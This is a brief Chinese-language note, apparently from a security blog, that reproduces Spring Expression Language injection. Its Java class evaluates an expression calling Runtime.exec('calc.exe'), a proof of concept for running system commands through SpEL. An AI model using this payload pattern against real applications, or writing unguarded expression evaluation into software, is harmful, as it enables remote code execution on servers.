复现代码

• Pom.xml引入

SpringBoot官方example.

• Java引入

package springbootsimple.demo;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Run004 {
    public static void main(String[] argv){
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc.exe').name");
        String message = (String) exp.getValue();//getValue()
        System.out.println(message);
    }
}

参考资料

• https://docs.spring.io/spring/docs/4.3.10.RELEASE/spring-framework-reference/html/expressions.html